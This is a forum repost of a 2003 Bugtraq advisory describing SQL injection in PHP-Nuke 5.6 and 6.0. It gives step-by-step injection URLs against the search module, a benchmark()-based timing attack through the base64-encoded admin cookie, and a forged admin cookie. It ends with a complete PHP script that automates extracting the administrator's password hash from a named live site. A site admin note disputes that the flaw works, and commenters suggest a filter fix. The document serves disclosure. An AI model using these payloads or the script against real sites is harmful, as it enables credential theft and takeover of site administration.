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From Bugtraq: PHP Nuke SQL Injection |
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 Anonymous writes "PHPNuke SQL Injection 2-18-2003
http://CGIshield.com
How to steal the password hash of the Admin user on PHPnuke 6.0 & 5.6
windows+linux method #1
PHPnuke, a widely used open-source web portal system, has been found to
contain a remotely exploitable SQL injection bug, which allows stealing of
the administrator's password hash. With the hash, an attacker may login
and gain complete control of the administrative side of the system.
The bug exists in the search engine included with PHPnuke
(/modules/search/index.php). In this file, a database call is made without
placing quotes around a user supplied variable. Since the database call
selects information from the user table, a hacker can use a 'select fish'
attack. In this type of attack, the hacker can determine the value of a
single character in any given column in the table specified in the
statement. The column of most importance to a hacker would be the one
holding the administrators encrypted password.
Since the passwords in PHPnuke (and many other programs) are an md5 hash,
there are only 16 possible values for each character and 32 total
characters to expect. Select fishing involves utilizing the MySQL mid()
function to return true if the character is guessed correctly, thereby
returning a set of results to the screen. If the results show up on the
screen, the attacker can determine that the character is guessed
correctly, and then proceed to guess the next character in the sequence.
Any md5 password hash can be fished in less than 512 (32*16) guesses.
When done by hand, this can take anywhere from 20-30 minutes, but when the
process is automated with a program it can take only a few minutes. One
such program is included at the end of this document.
The first url the hacker would try could look like this:
http://site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)
=6&type=stories
When phpnuke queries the mysql database, the query then looks like this:
"select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
s.bodytext, a.url, s.comments, s.topic from nuke_stories s, nuke_authors a
where s.aid=a.aid AND (s.title LIKE '%%' OR s.hometext LIKE '%%' OR
s.bodytext LIKE '%%' OR s.notes LIKE '%%') AND TO_DAYS(NOW()) - TO_DAYS
(time) <= 1 or mid(a.pwd,1,1)=6 ORDER BY s.time DESC LIMIT 0,10"
It would check the admin table to see if the first character in the pwd
(password) column is equal to a value of '6'. If any admin password begins
with a value of '6', stories written by that admin will appear on the
screen. If no admin password begins with a value of '6', or the admin has
written no stories, then the screen will list no story results.
example admin's hash: 6a204bd89f3c8348afd5c77c717a097a
will the admin's stories show with the following urls called?
(*note* in version 6.0 a check for '()' in any GET variable was added on
line 36 of mainfile.php , therefore the following data strings will only
work via POST in version 6.0 or later. The exploit included at the end of
this file works via POST.)
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=1&type=stories NO
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=2&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=3&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=4&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=5&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=6&type=stories Yes
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=7&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=8&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=9&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=0&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(97)&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(98)&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(99)&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(100)&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(101)&type=stories No
modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(102)&type=stories No
To guess the next character in the sequence the attacker could use the
following url:
http://site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,2,1)
=1&type=stories
and so forth, until all values are determined. When guessing values from a-
f, these values normally would need to be surrounded by single quotes.
This presents a problem for PHP and other applications which normally
escape quotes. To get around this problem, one could use the mysql char()
function which will output any ascii value, without using quotes. So to
guess the letter 'a' the hacker could use char(97). Here is an example url
guessing the 3rd character in the pwd column as 'a':
http://site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,3,1)=char
(97)&type=stories
Now that the attacker determines the password hash of the admin user, he
can base64 encode the hash (which is what phpnuke expects) and place it in
a netscape cookie file, and gain access to the target site. If the admin's
password is 'admin' and the admin's username is 'admin' then you would
take the value 'admin:admin:' and base64 encode it, put it in the cookie
(the variable of the encoded values is itself 'admin') the end result
would look similar to this (on localhost):
lang
english
localhost/html/
1024
1809931264
29595766
4083407360
29522340
*
admin
YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
localhost/html/
1024
3858912640
29529535
3993654000
29523500
*
How to steal the password hash of the Admin user on PHPnuke 6.0 & 5.6
windows+linux method #2
PHPnuke, a widely used open-source web portal system, has been found to
contain a remotely exploitable SQL injection bug, which allows stealing of
the administrator's password hash. With the hash, an attacker may login
and gain complete control of the administrative side of the system.
The bug exists due to the format of the admin user's cookies. In PHPnuke
the admin credentials are stored in the form: 'username:password:', with
the password md5 encrypted, and the entire string base64 encoded.
Everytime a webpage is requested on the site running PHPnuke, the 'admin'
cookie variable (which contains the username/password value) is sent to
the script, and everytime its validity is checked in the auth.php file.
Here is the key code in auth.php which does the check:
// start code
if(isset($admin) && $admin != "") {
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";
$admlanguage = "$admin[2]";
if ($aid=="" || $pwd=="") {
$admintest=0;
echo "<html>n";
echo "<title>INTRUDER ALERT!!!</title>n";
echo "<body bgcolor="#FFFFFF" text="#000000">nn
nn";
echo "<center><img src="images/eyes.gif" border="0">
n";
echo "<font face="Verdana" size="+4"><b>Get Out!
</b></font></center>n";
echo "</body>n";
echo "</html>n";
exit;
}
$result=sql_query("select pwd from ".$prefix."_authors where
aid='$aid'", $dbi);
if(!$result) {
echo "Selection from database failed!";
exit;
} else {
list($pass)=sql_fetch_row($result, $dbi);
if($pass == $pwd && $pass != "") {
$admintest = 1;
}
}
}
// end code
As you notice, the $admin variable is first base64_decoded(), and split
into the two variables $aid and $pwd. The security problem lies in the
fact that when a string containing one or more single quote is base64
encoded, and submitted to the site, it will bypass PHP's automatic
escaping of GPC variables. Since no additional checks are done to defend
against an sql injection, an attacker is free to modify the select query
and determine the admin password hash.
A more advanced version of the select fish attack must take place. This is
because in order to determine a certain character value, the script has to
respond in different way if the character guess is correct. This is not
naturally possible in PHPnuke, but it can be accomplished using mySQL's
benchmark() to give a delayed page response when the character is guessed
correctly.
Now that you are aware of where the sql injection attack occurs, let me
show the process of how this attack would work by modifying the select
query:
(`select pwd from ".$prefix."_authors where aid='$aid'`)
lets say the 'admin' user has a password hash
of '21232f297a57a5a743894a0e4a801fc3'. When we modify the query to check
if the first digit of the 'admin' password hash is equal to '1', we get
the following result:
mysql> select pwd from nuke_authors where aid='admin'
and if(mid(pwd,1,1)=1,benchmark(10000000,encode("AAAA","AAAA")),1)/*;
+----------------------------------+
| pwd |
+----------------------------------+
| 21232f297a57a5a743894a0e4a801fc3 |
+----------------------------------+
1 row in set (0.00 sec)
The small query execution time signifies an incorrect guess. Look what
happens when the attacker correctly guesses that the first character of
the 'admin' password hash is '2':
mysql> select pwd from nuke_authors where aid='admin' and if(mid(pwd,1,1)
=2,benchmark(20000000, encode("AAAA","AAAA")),1)/*;
Empty set (11.11 sec)
The attacker can prolong the execution time to his or her liking when a
correct guess occurs by raising the first argument to the benchmark()
function. By the different server response time , an attacker can
determine a the admin's password hash one character at a time.
########## PHPnuke Auto-SelectFish Attacker
########## David@cgishield.com
########## works on phpnuke 5.6 and 6.0
// To use this program, simply upload it to a php enabled webserver, and
execute
// If php times out before the whole password hash is determined,
// adjust the maximum script execution time in php.ini
// Also, replace following with correct values:
$server="www.phpnuke.org";
$script="/modules.php";
// Title of a story created specifically by the admin who is being hacked.
$data_to_match="Revolution";
$admin_account_name="nukelite";
$beginchar="1";
$endchar="33";
$admin_account_name=urlencode($admin_account_name);
$data_to_match=urlencode($data_to_match);
$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";
for($i=$beginchar;$i<$endchar;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){
$vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_acco
unt_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories";
$data=sendToHost("$server",'post',"$script","$vars");
if (eregi("No matches found to your query","$data")){
}
else{
echo("
$i= $i2"); flush();break;}
}
}
function sendToHost($host,$method,$path,$data,$useragent=1)
{
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1n");
fputs($fp, "Host: $hostn");
fputs($fp, "Content-type: application/x-www-form-urlencodedn");
fputs($fp, "Content-length: " . strlen($data) . "n");
if ($useragent)
fputs($fp, "User-Agent: Mozillan");
fputs($fp, "Connection: closenn");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);
fclose($fp);
for($slow=0;$slow<100;$slow++){}
return $buf;
}
?>
Vulnerability discovered by: David Zentner, david@cgishield.com
http://CGIshield.com
Admin Note: This is not a valid vulnerability. Nuke Cops has tested it on 6.0 and 6.5 and even 5.6 without any success all thanks to filtering code released by Computer Cops several months ago. CGIShield should also double check the default Search source code, as the form action is already set to "POST"."
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Posted on Friday, February 21 @ 15:19:09 CET by Zhen-Xjell |
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Average Score: 4.66
Votes: 6
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| | The comments are owned by the poster. We aren't responsible for their content. |
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Re: From Bugtraq: PHP Nuke SQL Injection (Score: 0)
by Anonymous on Friday, February 21 @ 18:57:14 CET | | This bug has been confirmed for unpatched installations. Follow the bugtraq mailing list if you're really interested in security. |
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Re: From Bugtraq: PHP Nuke SQL Injection (Score: 0)
by Anonymous on Saturday, February 22 @ 02:26:27 CET | | I think that if one replaces this line in mainfile.php foreach ($$HTTP_GET_VARS have $$secvalue) { by this one foreach ($_request have $$secvalue) { one checks GET POST COOCKIE AND FILES |
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Re: From Bugtraq: PHP Nuke SQL Injection (Score: 0)
by Anonymous on Saturday, February 22 @ 02:27:30 CET | | I think that if one replaces this line in mainfile.php foreach ($$HTTP_GET_VARS as $secvalue) { by this one foreach ($_request as $secvalue) { one checks GET POST COOCKIE AND FILES |
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Re: From Bugtraq: PHP Nuke SQL Injection (Score: 0)
by Anonymous on Saturday, February 22 @ 02:27:36 CET | | I think that if one replaces this line in mainfile.php foreach ($HTTP_GET_VARS as $secvalue) { by this one foreach ($_request as $secvalue) { one checks GET POST COOCKIE AND FILES |
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